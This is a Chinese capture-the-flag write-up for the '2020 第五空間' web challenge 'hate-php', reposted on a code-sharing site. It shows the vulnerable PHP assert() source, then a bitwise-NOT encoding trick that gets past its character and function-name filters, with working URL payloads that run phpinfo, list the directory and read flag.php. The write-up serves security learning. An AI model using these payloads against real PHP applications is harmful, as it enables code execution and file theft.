2020第五空間web hate-php


Hate-php

技術太差了,還需要努力

 

 

 <?php

error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' $blackitem '/im'$code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

 

preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code

 

過濾了很多東西

可以看出我們需要從 flag.php中讀取出 flag

 

 $blacklist get_defined_functions()['internal'];
最主要的就是繞過這里 $blacklist get_defined_functions()['internal'];

 

get_defined_functions()函數它將獲取所有已定義的函數,包括內置(internal) 和用戶定義的函數。 可通過$arr["internal"]來訪問系統內置函數, 通過$arr["user"]來訪問用戶自定義函數

 

這里吧內置函數 加如到了 blacklist中 ,我們就需要繞過這個  

https://www.cnblogs.com/yesec/p/12450269.html 這里有個相同的繞過手法

 

構造 (phpinfo)();這樣的寫法

我們取反繞過

 

 

 

 得到   %8F%97%8F%96%91%99%90

 

構造payload  ?code=(~%8F%97%8F%96%91%99%90)()

分號被過濾了 那我們就去掉分號測試

 

這里去掉分號就可以了 在其他環境是否可行並未驗證

 

 

 

成功彈出phpinfo頁面

 

那我們同樣的就可以瀏覽目錄

使用print_r(scandir('.'))來進行列目錄

 

 

 

 

 

 

 

 構造payload:

?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))

 

 

 

接下來我們讀取flag.php

使用readfile(‘flag.php’) 來讀取flag.php

 

 

 

 

 Payload:

/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

 

 

 

得到flag

flag{ecee9b5f24f8aede87cdda995fed079c}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM